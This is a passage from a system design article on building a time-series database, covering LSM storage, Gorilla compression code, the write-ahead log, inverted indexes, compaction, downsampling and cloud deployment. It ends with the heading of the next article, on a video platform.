- ✅ Simple query path (no disk I/O for hot queries)
- ✅ Predictable memory usage
- ❌ Limited retention (hours to days)
- ❌ Memory cost scales linearly with cardinality
- ❌ Cold queries require separate system

**Real-world example:** Netflix Atlas uses in-memory storage with rolling windows for real-time operational dashboards. Facebook Gorilla keeps 26 hours in memory with ~2GB per 700K series.

### Path B: LSM-Based with Tiered Storage (Prometheus/InfluxDB)

**Best when:**

- Long retention required (weeks to months)
- Mixed hot/cold query patterns
- Storage cost is a concern

**Architecture:**

- Write-ahead log for durability
- In-memory buffer (2-hour blocks)
- Background compaction to disk blocks
- Object storage for cold tier

**Trade-offs:**

- ✅ Cost-effective long retention
- ✅ Excellent compression (12x+)
- ✅ Handles variable cardinality
- ❌ Higher query latency for cold data
- ❌ Compaction CPU overhead
- ❌ Write amplification during compaction

**Real-world example:** Prometheus TSDB uses 2-hour blocks, achieving 1-2 bytes/sample. InfluxDB's TSM engine follows similar principles with 7-day shards.

### Path C: Distributed LSM with Global Index (M3/Cortex)

**Best when:**

- Scale beyond single node
- Multi-tenant SaaS offering
- Global query federation required

**Architecture:**

- Distributed hash ring for series assignment
- Per-tenant isolated storage
- Query fanout with aggregation
- Centralized or per-tenant indexing

**Trade-offs:**

- ✅ Horizontal scalability (1B+ samples/sec)
- ✅ Multi-tenant isolation
- ✅ Geographic distribution possible
- ❌ Operational complexity
- ❌ Network overhead for distributed queries
- ❌ Consistency challenges during rebalancing

**Real-world example:** Uber M3 ingests 1B+ datapoints/sec across their fleet. Cortex provides multi-tenant Prometheus-compatible storage.

### Path Comparison

| Factor                 | Path A (In-Memory)   | Path B (LSM)              | Path C (Distributed) |
| ---------------------- | -------------------- | ------------------------- | -------------------- |
| Query latency (hot)    | Sub-ms               | 10-100ms                  | 50-500ms             |
| Retention              | Hours                | Weeks-Months              | Years                |
| Storage efficiency     | Low (in-memory)      | High (12x compression)    | High                 |
| Cardinality limit      | Memory-bound         | Disk-bound                | Configurable         |
| Operational complexity | Low                  | Medium                    | High                 |
| Best for               | Real-time dashboards | Single-cluster monitoring | Multi-tenant SaaS    |

### This Article's Focus

This article implements **Path B (LSM-Based)** as the core, with distributed extensions from Path C. This matches most production deployments (Prometheus, InfluxDB, VictoriaMetrics) and provides a foundation for understanding both single-node and distributed architectures.

## High-Level Design

### Service Architecture

#### Ingestion Service (Distributor)

Receives metrics from agents and routes to storage nodes:

- Parse and validate metric format (Prometheus exposition, InfluxDB line protocol, OpenTelemetry)
- Extract metric name, tags, timestamp, value
- Hash series ID (metric + sorted tags) for consistent routing
- Forward to appropriate storage node(s)
- Handle backpressure via load shedding

#### Storage Engine (Ingester)

Manages the write path and local storage:

- Append to Write-Ahead Log (WAL) for durability
- Buffer samples in memory (memtable per series)
- Maintain in-memory index for active series
- Flush to immutable blocks every 2 hours
- Trigger compaction for block merging

#### Compaction Service

Background process optimizing storage:

- Merge small blocks into larger ones
- Apply compression algorithms
- Remove deleted/expired data
- Rebuild indexes for merged blocks
- Enforce retention by deleting old blocks

#### Query Engine

Executes queries across storage tiers:

- Parse query language (PromQL, InfluxQL, SQL)
- Plan execution (which blocks to scan)
- Fetch data from index → blocks
- Decompress and aggregate
- Return results with metadata

#### Lifecycle Manager

Handles data retention and downsampling:

- Enforce time-based retention policies
- Trigger downsampling jobs (raw → 1-minute → 1-hour aggregates)
- Manage tiered storage migration (hot → warm → cold)
- Track storage usage per tenant

### Data Flow: Write Path

![Diagram](./diagram-1.svg)

### Data Flow: Query Path

![Diagram](./diagram-2.svg)

## API Design

### Write Endpoint

**Endpoint:** `POST /api/v1/write`

Accepts metrics in Prometheus remote-write format (protobuf) or line protocol:

```text
# Prometheus exposition format
http_requests_total{method="GET",status="200"} 1234 1704067200000
http_requests_total{method="POST",status="500"} 5 1704067200000
cpu_usage{host="server-1",core="0"} 0.75 1704067200000

# InfluxDB line protocol
http_requests,method=GET,status=200 total=1234 1704067200000000000
cpu,host=server-1,core=0 usage=0.75 1704067200000000000
```

**Request (Prometheus remote-write protobuf):**

```protobuf collapse={1-5}
message WriteRequest {
  repeated TimeSeries timeseries = 1;
  repeated MetricMetadata metadata = 2;
}

message TimeSeries {
  repeated Label labels = 1;  // [{name: "__name__", value: "http_requests_total"}, ...]
  repeated Sample samples = 2;
}

message Sample {
  double value = 1;
  int64 timestamp = 2;  // Unix ms
}
```

**Response:**

- `204 No Content`: Success
- `400 Bad Request`: Invalid format, missing required labels
- `429 Too Many Requests`: Rate limited (backpressure)
- `503 Service Unavailable`: Ingester overloaded

**Design Decision: Push vs. Pull**

Prometheus uses a pull model (scraping targets), while most TSDBs accept push. For a general-purpose TSDB:

- **Push** (chosen): Simpler client integration, works behind firewalls, scales with stateless distributors
- **Pull**: Better for service discovery, guarantees scrape intervals, but requires connectivity to all targets

Remote-write enables hybrid: Prometheus scrapes locally, pushes to central TSDB.

### Query Endpoint

**Endpoint:** `GET /api/v1/query_range`

**Query Parameters:**

| Parameter | Type     | Description                               |
| --------- | -------- | ----------------------------------------- |
| `query`   | string   | Query expression (PromQL, InfluxQL)       |
| `start`   | int64    | Start timestamp (Unix seconds or RFC3339) |
| `end`     | int64    | End timestamp                             |
| `step`    | duration | Query resolution (e.g., "1m", "5m")       |

**Example Query:**

```text
GET /api/v1/query_range?query=rate(http_requests_total{status="500"}[5m])&start=1704067200&end=1704153600&step=60
```

**Response:**

```json collapse={1-3, 25-30}
{
  "status": "success",
  "data": {
    "resultType": "matrix",
    "result": [
      {
        "metric": {
          "__name__": "http_requests_total",
          "method": "GET",
          "status": "500",
          "instance": "server-1:9090"
        },
        "values": [
          [1704067200, "0.5"],
          [1704067260, "0.7"],
          [1704067320, "0.3"]
        ]
      }
    ]
  }
}
```

**Rate Limits:** 100 queries/min per tenant, 10 concurrent queries

### Label Endpoints

**Get label names:** `GET /api/v1/labels`

**Get label values:** `GET /api/v1/label/{label_name}/values`

These endpoints query the inverted index and are essential for building dashboards with dynamic dropdowns.

### Series Metadata

**Endpoint:** `GET /api/v1/series`

Returns series matching a label selector:

```text
GET /api/v1/series?match[]=http_requests_total{status=~"5.."}
```

Used for cardinality analysis and debugging high-cardinality labels.

## Data Modeling

### Sample Format

**Primary data unit:** A sample is a (timestamp, value) pair for a specific series.

```typescript
interface Sample {
  timestamp: number // Unix milliseconds
  value: number // IEEE 754 double (64-bit)
}

interface Series {
  labels: Map<string, string> // Metric name + tags
  samples: Sample[]
}

// Series identifier (sorted label pairs)
// http_requests_total{method="GET",status="200"}
// → __name__=http_requests_total,method=GET,status=200
// → Hash: fnv64a("__name__\xff http_requests_total\xff method\xff GET\xff ...")
```

**Design Decision: Label Ordering**

Labels are sorted alphabetically before hashing. This ensures the same series always hashes to the same ID regardless of label order in the write request.

### Block Format

**Block structure (2-hour time window):**

```
block-<ulid>/
├── meta.json           # Block metadata
├── index               # Inverted index (labels → series)
├── chunks/
│   ├── 000001          # Compressed chunk file
│   ├── 000002
│   └── ...
└── tombstones          # Deleted series markers
```

**meta.json:**

```json collapse={1-3, 20-25}
{
  "ulid": "01HQGJ5P1XXXXXXXXX",
  "minTime": 1704067200000,
  "maxTime": 1704074400000,
  "stats": {
    "numSamples": 50000000,
    "numSeries": 100000,
    "numChunks": 150000
  },
  "compaction": {
    "level": 1,
    "sources": ["01HQGJ..."]
  },
  "version": 1
}
```

### Index Structure

**Inverted index mapping:**

```
Label → Series IDs
──────────────────
method=GET    → [1, 3, 5, 7, 9, ...]
method=POST   → [2, 4, 6, 8, ...]
status=200    → [1, 2, 3, 4, 5, ...]
status=500    → [6, 7, 8, ...]

Series ID → Chunk Refs
──────────────────────
1 → [(chunk_001, offset=0, len=4096), (chunk_002, offset=0, len=2048)]
2 → [(chunk_001, offset=4096, len=3072)]
```

**Posting list intersection for queries:**

```
http_requests{method="GET",status="500"}

1. Lookup method=GET → [1, 3, 5, 7, 9]
2. Lookup status=500 → [7, 8, 9, 10]
3. Intersect → [7, 9]
4. Fetch chunks for series 7, 9
```

### Schema Design (SQL Representation)

For understanding, here's how the data model maps to relational concepts:

```sql collapse={1-5, 35-40}
-- Series registry (the inverted index in memory/disk)
CREATE TABLE series (
    id BIGSERIAL PRIMARY KEY,
    labels_hash BIGINT UNIQUE NOT NULL,
    labels JSONB NOT NULL,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_series_labels ON series USING GIN (labels);

-- Samples (conceptual - stored in compressed chunks, not SQL)
CREATE TABLE samples (
    series_id BIGINT NOT NULL,
    timestamp TIMESTAMPTZ NOT NULL,
    value DOUBLE PRECISION NOT NULL,
    PRIMARY KEY (series_id, timestamp)
);

-- Block metadata
CREATE TABLE blocks (
    ulid TEXT PRIMARY KEY,
    min_time TIMESTAMPTZ NOT NULL,
    max_time TIMESTAMPTZ NOT NULL,
    num_samples BIGINT NOT NULL,
    num_series INTEGER NOT NULL,
    level INTEGER DEFAULT 1,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_blocks_time ON blocks(min_time, max_time);
```

### Storage Selection Matrix

| Data Type        | Storage                 | Rationale                             |
| ---------------- | ----------------------- | ------------------------------------- |
| Active samples   | Memory (memtable)       | Sub-ms writes, recent data hottest    |
| WAL              | Local SSD (sequential)  | Durability, sequential writes         |
| Hot blocks       | Local SSD (random read) | Frequent queries, compression         |
| Warm blocks      | Networked SSD           | Less frequent access, cost efficiency |
| Cold blocks      | Object storage (S3)     | Long retention, lowest cost           |
| Inverted index   | Memory + SSD            | Fast label lookups, memory-mapped     |
| Downsampled data | Separate retention tier | Query without scanning raw data       |

## Low-Level Design

### Compression: Gorilla Algorithm

The compression algorithm is the core of TSDB efficiency. Facebook's Gorilla paper (VLDB 2015) introduced delta-of-delta for timestamps and XOR for values.

#### Timestamp Compression (Delta-of-Delta)

Samples typically arrive at regular intervals (e.g., every 10 seconds). Instead of storing absolute timestamps:

```typescript collapse={1-8, 40-50}
// Delta-of-delta encoding
// Timestamps: [1000, 1010, 1020, 1030, 1040]
// Deltas:     [  -,   10,   10,   10,   10]
// Delta-of-delta: [-, -, 0, 0, 0]

// Encoding rules:
// - If delta-of-delta = 0: write '0' (1 bit)
// - If fits in [-63, 64]: write '10' + 7 bits
// - If fits in [-255, 256]: write '110' + 9 bits
// - If fits in [-2047, 2048]: write '1110' + 12 bits
// - Otherwise: write '1111' + 32 bits

function encodeTimestamps(timestamps: number[]): BitStream {
  const stream = new BitStream()

  // First timestamp: stored as-is (64 bits)
  stream.writeBits(timestamps[0], 64)

  if (timestamps.length < 2) return stream

  // Second timestamp: delta from first
  let prevDelta = timestamps[1] - timestamps[0]
  stream.writeBits(prevDelta, 14) // Assuming max delta fits in 14 bits

  // Remaining: delta-of-delta
  for (let i = 2; i < timestamps.length; i++) {
    const delta = timestamps[i] - timestamps[i - 1]
    const deltaOfDelta = delta - prevDelta

    if (deltaOfDelta === 0) {
      stream.writeBit(0) // 1 bit for regular intervals
    } else if (deltaOfDelta >= -63 && deltaOfDelta <= 64) {
      stream.writeBits(0b10, 2)
      stream.writeBits(deltaOfDelta + 63, 7) // Offset to positive
    } else if (deltaOfDelta >= -255 && deltaOfDelta <= 256) {
      stream.writeBits(0b110, 3)
      stream.writeBits(deltaOfDelta + 255, 9)
    } else if (deltaOfDelta >= -2047 && deltaOfDelta <= 2048) {
      stream.writeBits(0b1110, 4)
      stream.writeBits(deltaOfDelta + 2047, 12)
    } else {
      stream.writeBits(0b1111, 4)
      stream.writeBits(deltaOfDelta, 32)
    }

    prevDelta = delta
  }

  return stream
}

// Result: 96% of timestamps compress to 1 bit
// Average: 1.04 bits per timestamp (vs 64 bits uncompressed)
```

#### Value Compression (XOR Encoding)

Consecutive metric values often share many bits (e.g., CPU at 0.75 then 0.76):

```typescript collapse={1-10, 50-60}
// XOR encoding for IEEE 754 doubles
// Values: [0.75, 0.76, 0.76, 0.77]
// XOR with previous: [0.75, XOR(0.75,0.76), XOR(0.76,0.76), XOR(0.76,0.77)]

// The XOR of similar floats has many leading and trailing zeros
// We encode: (leading zeros count, significant bits count, significant bits)

interface XORState {
  prevValue: bigint // Previous value as 64-bit integer
  prevLeadingZeros: number
  prevTrailingZeros: number
}

function encodeValues(values: number[]): BitStream {
  const stream = new BitStream()

  // First value: stored as-is (64 bits)
  const firstBits = floatToBits(values[0])
  stream.writeBits(firstBits, 64)

  let state: XORState = {
    prevValue: firstBits,
    prevLeadingZeros: 0,
    prevTrailingZeros: 0,
  }

  for (let i = 1; i < values.length; i++) {
    const currentBits = floatToBits(values[i])
    const xor = currentBits ^ state.prevValue

    if (xor === 0n) {
      // Identical value: write '0' (1 bit)
      stream.writeBit(0)
    } else {
      stream.writeBit(1) // Values differ

      const leadingZeros = countLeadingZeros(xor)
      const trailingZeros = countTrailingZeros(xor)
      const significantBits = 64 - leadingZeros - trailingZeros

      if (leadingZeros >= state.prevLeadingZeros && trailingZeros >= state.prevTrailingZeros) {
        // Fits in previous window: write '0' + significant bits
        stream.writeBit(0)
        const shift = 64 - state.prevLeadingZeros - significantBits
        stream.writeBits(xor >> BigInt(shift), significantBits)
      } else {
        // New window: write '1' + leading zeros + length + bits
        stream.writeBit(1)
        stream.writeBits(leadingZeros, 5)
        stream.writeBits(significantBits - 1, 6) // -1 because min is 1
        stream.writeBits(xor >> BigInt(trailingZeros), significantBits)

        state.prevLeadingZeros = leadingZeros
        state.prevTrailingZeros = trailingZeros
      }
    }

    state.prevValue = currentBits
  }

  return stream
}

// Result:
// - 51% of values compress to 1 bit (identical to previous)
// - 30% compress to ~27 bits (control '10' path)
// - 19% compress to ~37 bits (control '11' path)
// Average: 1.33 bytes per value (vs 8 bytes uncompressed)
```

**Combined compression ratio:**

- Timestamp: 1.04 bits (0.13 bytes)
- Value: 10.6 bits (1.33 bytes)
- **Total: 1.46 bytes/sample** (vs 16 bytes raw = **11x compression**)

### Write-Ahead Log

The WAL ensures durability before acknowledging writes:

```typescript collapse={1-10, 45-55}
// WAL segment structure
// Segments are 128MB each, kept for minimum 3 files

interface WALSegment {
  id: number
  path: string
  size: number
  firstTimestamp: number
  lastTimestamp: number
}

interface WALRecord {
  type: "series" | "samples" | "tombstone"
  data: Uint8Array
}

class WriteAheadLog {
  private currentSegment: WALSegment
  private segments: WALSegment[] = []
  private readonly maxSegmentSize = 128 * 1024 * 1024 // 128MB
  private readonly minSegmentsKept = 3

  async append(records: WALRecord[]): Promise<void> {
    // Batch encode records
    const encoded = this.encodeRecords(records)

    // Check if current segment is full
    if (this.currentSegment.size + encoded.length > this.maxSegmentSize) {
      await this.rotateSegment()
    }

    // Sync write to disk (critical for durability)
    await this.currentSegment.write(encoded)
    await this.currentSegment.sync() // fsync
  }

  async truncate(checkpointSegmentId: number): Promise<void> {
    // Remove segments before checkpoint, keeping minimum
    const toRemove = this.segments.filter(
      (s) => s.id < checkpointSegmentId && this.segments.length - 1 >= this.minSegmentsKept,
    )

    for (const segment of toRemove) {
      await fs.unlink(segment.path)
      this.segments = this.segments.filter((s) => s.id !== segment.id)
    }
  }

  async replay(): Promise<WALRecord[]> {
    // On startup, replay all records from WAL
    const records: WALRecord[] = []
    for (const segment of this.segments) {
      const segmentRecords = await this.readSegment(segment)
      records.push(...segmentRecords)
    }
    return records
  }
}
```

### In-Memory Index (Series Registry)

The in-memory index maps labels to series IDs for fast query planning:

```typescript collapse={1-10, 55-65}
// Inverted index for label lookups
// Uses posting lists (sorted arrays of series IDs)

type SeriesID = number
type PostingList = SeriesID[] // Sorted, deduplicated

class InMemoryIndex {
  // Label name → label value → posting list
  private postings: Map<string, Map<string, PostingList>> = new Map()

  // Series ID → labels
  private seriesLabels: Map<SeriesID, Map<string, string>> = new Map()

  // Labels hash → Series ID (for deduplication)
  private hashToSeries: Map<bigint, SeriesID> = new Map()

  private nextSeriesID: SeriesID = 1

  getOrCreateSeries(labels: Map<string, string>): SeriesID {
    const hash = this.hashLabels(labels)

    const existing = this.hashToSeries.get(hash)
    if (existing !== undefined) {
      return existing
    }

    // Create new series
    const id = this.nextSeriesID++
    this.hashToSeries.set(hash, id)
    this.seriesLabels.set(id, labels)

    // Update posting lists
    for (const [name, value] of labels) {
      if (!this.postings.has(name)) {
        this.postings.set(name, new Map())
      }
      const valueMap = this.postings.get(name)!
      if (!valueMap.has(value)) {
        valueMap.set(value, [])
      }
      valueMap.get(value)!.push(id)
    }

    return id
  }

  // Query: find series matching label matchers
  query(matchers: LabelMatcher[]): SeriesID[] {
    if (matchers.length === 0) {
      return Array.from(this.seriesLabels.keys())
    }

    // Start with smallest posting list (most selective)
    const sorted = [...matchers].sort((a, b) => this.getPostingListSize(a) - this.getPostingListSize(b))

    let result = this.getPostingList(sorted[0])

    // Intersect with remaining matchers
    for (let i = 1; i < sorted.length; i++) {
      const other = this.getPostingList(sorted[i])
      result = this.intersect(result, other)

      if (result.length === 0) break // Early exit
    }

    return result
  }

  private intersect(a: PostingList, b: PostingList): PostingList {
    // Sorted merge intersection: O(n + m)
    const result: SeriesID[] = []
    let i = 0,
      j = 0

    while (i < a.length && j < b.length) {
      if (a[i] === b[j]) {
        result.push(a[i])
        i++
        j++
      } else if (a[i] < b[j]) {
        i++
      } else {
        j++
      }
    }

    return result
  }
}
```

### Block Compaction

Compaction merges small blocks into larger ones, improving query efficiency:

![Diagram](./diagram-3.svg)

```typescript collapse={1-10, 50-60}
// Compaction strategy
// - Level 0: 2-hour blocks (from memtable flush)
// - Level 1: 8-hour blocks (4 level-0 merged)
// - Level 2: 24-hour blocks
// - Max block size: 31 days OR 10% of retention

interface CompactionPlan {
  sources: Block[]
  targetLevel: number
  estimatedSize: number
}

class Compactor {
  private readonly maxBlockDuration = 31 * 24 * 60 * 60 * 1000 // 31 days

  async planCompaction(blocks: Block[]): Promise<CompactionPlan[]> {
    const plans: CompactionPlan[] = []

    // Group blocks by level
    const byLevel = this.groupByLevel(blocks)

    for (const [level, levelBlocks] of byLevel) {
      // Find adjacent blocks that can be merged
      const sorted = levelBlocks.sort((a, b) => a.minTime - b.minTime)

      for (let i = 0; i < sorted.length - 1; i++) {
        const candidates = [sorted[i]]
        let j = i + 1

        while (j < sorted.length && sorted[j].minTime === candidates[candidates.length - 1].maxTime) {
          candidates.push(sorted[j])
          j++

          // Check if merged duration exceeds max
          const duration = candidates[j - 1].maxTime - candidates[0].minTime
          if (duration > this.maxBlockDuration) break

          // Typical: merge 4 blocks at a time
          if (candidates.length >= 4) break
        }

        if (candidates.length >= 2) {
          plans.push({
            sources: candidates,
            targetLevel: level + 1,
            estimatedSize: candidates.reduce((sum, b) => sum + b.size, 0) * 0.9,
          })
          i = j - 1 // Skip merged blocks
        }
      }
    }

    return plans
  }

  async compact(plan: CompactionPlan): Promise<Block> {
    // 1. Open iterators for all source blocks
    const iterators = plan.sources.map((b) => b.createIterator())

    // 2. Merge-sort by (seriesID, timestamp)
    const mergedSamples = this.mergeSortIterators(iterators)

    // 3. Write to new block with fresh compression
    const newBlock = await this.writeBlock(mergedSamples, plan.targetLevel)

    // 4. Update block references atomically
    await this.swapBlocks(plan.sources, newBlock)

    // 5. Delete source blocks
    for (const source of plan.sources) {
      await source.delete()
    }

    return newBlock
  }
}
```

### Downsampling

Downsampling creates aggregated views for long-term queries:

```typescript collapse={1-10, 45-55}
// Downsampling tiers
// - Raw: 10-second resolution, 15 days
// - 1-minute: min/max/sum/count/avg, 90 days
// - 1-hour: min/max/sum/count/avg, 2 years

interface DownsampleConfig {
  sourceResolution: string // "raw", "1m", "1h"
  targetResolution: string
  aggregations: string[] // ["min", "max", "sum", "count"]
  retention: number // milliseconds
}

interface DownsampledSample {
  timestamp: number // Bucket start time
  min: number
  max: number
  sum: number
  count: number
  // Derived: avg = sum / count
}

class Downsampler {
  async downsample(seriesId: number, sourceBlock: Block, config: DownsampleConfig): Promise<DownsampledSample[]> {
    const bucketMs = this.parseDuration(config.targetResolution)
    const buckets = new Map<number, DownsampledSample>()

    const iterator = sourceBlock.createIterator(seriesId)

    for await (const sample of iterator) {
      const bucketStart = Math.floor(sample.timestamp / bucketMs) * bucketMs

      if (!buckets.has(bucketStart)) {
        buckets.set(bucketStart, {
          timestamp: bucketStart,
          min: sample.value,
          max: sample.value,
          sum: sample.value,
          count: 1,
        })
      } else {
        const bucket = buckets.get(bucketStart)!
        bucket.min = Math.min(bucket.min, sample.value)
        bucket.max = Math.max(bucket.max, sample.value)
        bucket.sum += sample.value
        bucket.count++
      }
    }

    return Array.from(buckets.values())
  }
}

// Query routing: select appropriate resolution based on query range
function selectResolution(queryRange: number): string {
  if (queryRange <= 24 * 60 * 60 * 1000) {
    // ≤ 1 day
    return "raw"
  } else if (queryRange <= 30 * 24 * 60 * 60 * 1000) {
    // ≤ 30 days
    return "1m"
  } else {
    return "1h"
  }
}
```

### Cardinality Management

High cardinality is the primary operational challenge in TSDBs:

```typescript collapse={1-8, 40-50}
// Cardinality tracking and enforcement

interface CardinalityLimits {
  maxSeriesPerMetric: number // e.g., 100,000
  maxTotalSeries: number // e.g., 10,000,000
  maxLabelValueCardinality: number // e.g., 10,000 per label name
}

class CardinalityTracker {
  private seriesPerMetric: Map<string, Set<number>> = new Map()
  private seriesPerLabel: Map<string, Map<string, number>> = new Map()
  private totalSeries: number = 0

  checkLimits(labels: Map<string, string>, limits: CardinalityLimits): CardinalityError | null {
    const metricName = labels.get("__name__")!

    // Check per-metric cardinality
    const metricSeries = this.seriesPerMetric.get(metricName)?.size ?? 0
    if (metricSeries >= limits.maxSeriesPerMetric) {
      return {
        type: "metric_cardinality_exceeded",
        metric: metricName,
        current: metricSeries,
        limit: limits.maxSeriesPerMetric,
      }
    }

    // Check per-label cardinality (detect high-cardinality labels)
    for (const [name, value] of labels) {
      const labelValues = this.seriesPerLabel.get(name)
      if (labelValues && labelValues.size >= limits.maxLabelValueCardinality) {
        return {
          type: "label_cardinality_exceeded",
          label: name,
          current: labelValues.size,
          limit: limits.maxLabelValueCardinality,
        }
      }
    }

    // Check total cardinality
    if (this.totalSeries >= limits.maxTotalSeries) {
      return {
        type: "total_cardinality_exceeded",
        current: this.totalSeries,
        limit: limits.maxTotalSeries,
      }
    }

    return null
  }

  // Identify high-cardinality labels for alerting
  getHighCardinalityLabels(threshold: number): { label: string; cardinality: number }[] {
    const results: { label: string; cardinality: number }[] = []

    for (const [label, values] of this.seriesPerLabel) {
      if (values.size > threshold) {
        results.push({ label, cardinality: values.size })
      }
    }

    return results.sort((a, b) => b.cardinality - a.cardinality)
  }
}

// Common high-cardinality antipatterns to detect:
// - request_id, trace_id, user_id as labels (use exemplars instead)
// - IP addresses, URLs with query strings
// - Timestamps or UUIDs in labels
```

## Frontend Considerations

### Dashboard Query Optimization

**Problem:** A dashboard with 20 panels, each querying 1 week of data at 1-minute resolution, generates 20 × 10,080 = 201,600 datapoints.

**Solutions:**

1. **Step size alignment**: Query at dashboard refresh rate, not max resolution
2. **Parallel queries**: Fetch all panels concurrently
3. **Query caching**: Cache results for identical queries
4. **Streaming updates**: WebSocket for live data, HTTP for historical

```typescript collapse={1-5, 30-40}
// Dashboard query batching
interface DashboardQuery {
  panelId: string
  expr: string
  range: { start: number; end: number }
  step: number
}

async function fetchDashboard(queries: DashboardQuery[]): Promise<Map<string, QueryResult>> {
  // Group queries by time range (likely the same for most panels)
  const byRange = groupBy(queries, (q) => `${q.range.start}-${q.range.end}`)

  const results = new Map<string, QueryResult>()

  // Fetch each range group in parallel
  await Promise.all(
    Object.entries(byRange).map(async ([rangeKey, rangeQueries]) => {
      // Batch multiple expressions if backend supports it
      const batchResult = await fetchBatch(rangeQueries)

      for (const [panelId, result] of batchResult) {
        results.set(panelId, result)
      }
    }),
  )

  return results
}
```

### Time Range Selection

**UX considerations:**

- Relative ranges ("Last 1 hour", "Last 7 days") for monitoring
- Absolute ranges for incident investigation
- Auto-refresh intervals matching query range
- Timezone handling (display in user's local time)

### Graph Rendering

**Performance patterns:**

- Downsample client-side for display (canvas can't render 10K points)
- Use WebGL for high-density graphs (Grafana uses uPlot)
- Lazy load panels as they scroll into view
- Debounce zoom/pan operations

## Infrastructure Design

### Cloud-Agnostic Concepts

| Component          | Requirement               | Options                               |
| ------------------ | ------------------------- | ------------------------------------- |
| **Ingest/Query**   | Stateless, auto-scaling   | Kubernetes Deployment, ECS Service    |
| **Storage Engine** | Stateful, local SSD       | StatefulSet with local volumes        |
| **Block Storage**  | High IOPS, low latency    | Local NVMe, EBS gp3, Persistent Disks |
| **Object Storage** | Cold tier, cheap, durable | S3, GCS, MinIO                        |
| **Coordination**   | Leader election, config   | etcd, Consul, ZooKeeper               |

### AWS Reference Architecture

![Diagram](./diagram-4.svg)

| Component     | AWS Service        | Configuration                           |
| ------------- | ------------------ | --------------------------------------- |
| Load Balancer | NLB                | TCP passthrough, cross-AZ               |
| Distributors  | EKS (Fargate)      | 3-10 pods, 2 vCPU / 4GB each            |
| Ingesters     | EKS (EC2)          | i3.xlarge (NVMe), 3+ nodes, StatefulSet |
| Query Engines | EKS (Fargate)      | 2-10 pods, 4 vCPU / 8GB each            |
| Cold Storage  | S3 Standard-IA     | Lifecycle to Glacier after 90 days      |
| Query Cache   | ElastiCache Redis  | cache.r6g.large, cluster mode           |
| Coordination  | Managed etcd (EKS) | Built into EKS control plane            |

### Self-Hosted Alternatives

| Managed Service | Self-Hosted    | When to Self-Host             |
| --------------- | -------------- | ----------------------------- |
| ElastiCache     | Redis on EC2   | Cost, specific modules        |
| S3              | MinIO          | On-premises, data sovereignty |
| EKS             | k3s/k8s on EC2 | Cost, full control            |

### High Availability

**Replication strategy for ingesters:**

- Write to N ingesters (N=3 typical)
- Query reads from any replica
- Consistency: eventual (samples may appear with delay)
- Durability: WAL replicated, blocks uploaded to S3

**Failure scenarios:**

1. **Ingester failure**: WAL replayed on replacement, recent samples recovered from peers
2. **Query engine failure**: Stateless, load balancer routes to healthy instances
3. **S3 unavailable**: Query hot data from ingesters, fail cold queries gracefully

## Conclusion

This design prioritizes **write efficiency** (LSM + WAL), **storage efficiency** (Gorilla compression), and **query performance** (inverted index + time partitioning). The architecture scales from a single node (Prometheus-style) to a distributed cluster (Cortex/M3-style).

Key architectural decisions:

1. **LSM-based storage with 2-hour blocks**: Balances write amplification against query efficiency. Compaction merges blocks up to 31 days.

2. **Gorilla compression (delta-of-delta + XOR)**: Achieves 11x compression (1.46 bytes/sample). 96% of timestamps compress to 1 bit with regular intervals.

3. **Inverted index with posting list intersection**: Label queries use sorted posting lists for O(n+m) intersection. Memory-mapped for large cardinalities.

4. **Tiered retention with downsampling**: Raw data (15 days) → 1-minute aggregates (90 days) → 1-hour aggregates (2 years). Queries auto-select appropriate resolution.

5. **Cardinality limits as first-class feature**: Per-metric, per-label, and total series limits prevent unbounded memory growth.

**Limitations and future improvements:**

- **Cross-series queries**: Aggregations across many series are expensive. Pre-computed recording rules help.
- **Exemplars and traces**: Linking metrics to traces requires additional storage (not covered in depth).
- **Multi-tenancy isolation**: Resource limits, query prioritization, and billing require additional infrastructure.

## Appendix

### Prerequisites

- Distributed systems fundamentals (consistency, availability, partitioning)
- Database internals (LSM trees, B-trees, write-ahead logs)
- Data compression concepts
- Basic familiarity with metrics and monitoring

### Terminology

- **Sample**: A (timestamp, value) pair for a specific series
- **Series**: A unique metric identified by its name and label set
- **Cardinality**: The number of unique series (metric name + tag combinations)
- **TSDB**: Time Series Database—optimized for time-indexed, append-only data
- **LSM Tree**: Log-Structured Merge Tree—storage structure using sorted runs and compaction
- **WAL**: Write-Ahead Log—sequential log for durability before in-memory commit
- **Gorilla**: Facebook's compression algorithm for time-series (VLDB 2015)
- **PromQL**: Prometheus Query Language—functional query language for metrics
- **Posting List**: Sorted list of series IDs matching a label value

### Summary

- TSDBs exploit **append-only, time-ordered** access patterns for 10x+ compression and fast range queries
- **Gorilla compression** (delta-of-delta + XOR) achieves 1.46 bytes/sample, with 96% of timestamps compressing to 1 bit
- **LSM storage with 2-hour blocks** balances write throughput against query efficiency; compaction merges up to 31-day blocks
- **Inverted index** maps labels to series IDs; posting list intersection enables efficient label queries
- **Cardinality management** is critical—high-cardinality labels (request_id, user_id) must be blocked or aggregated
- **Tiered retention** with downsampling (raw → 1m → 1h) enables cost-effective multi-year storage
- Scale to 1M+ samples/sec per node with proper tuning; distributed architectures (M3, Cortex) reach 1B+ samples/sec

### References

- [Gorilla: A Fast, Scalable, In-Memory Time Series Database](https://www.vldb.org/pvldb/vol8/p1816-teller.pdf) - Facebook VLDB 2015 paper on compression
- [Prometheus TSDB Documentation](https://prometheus.io/docs/prometheus/latest/storage/) - Block format, WAL, compaction
- [InfluxDB Storage Engine (TSM)](https://docs.influxdata.com/influxdb/v1/concepts/storage_engine/) - TSM and TSI architecture
- [M3: Uber's Open Source, Large-scale Metrics Platform](https://eng.uber.com/m3/) - Distributed TSDB at scale
- [Cortex Architecture](https://cortexmetrics.io/docs/architecture/) - Multi-tenant Prometheus
- [TimescaleDB: SQL for Time-Series](https://docs.timescale.com/use-timescale/latest/hypertables/) - Hypertables and continuous aggregates
- [VictoriaMetrics vs Prometheus](https://docs.victoriametrics.com/faq/#what-is-the-difference-between-victoriametrics-and-prometheus) - Performance comparison
- [QuestDB Architecture](https://questdb.com/docs/concept/storage-model/) - Column-oriented TSDB
- [PromQL Documentation](https://prometheus.io/docs/prometheus/latest/querying/basics/) - Query language reference

---

## Design a YouTube-Style Video Platform

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-youtube-video-platform
**Category:** System Design / System Design Problems
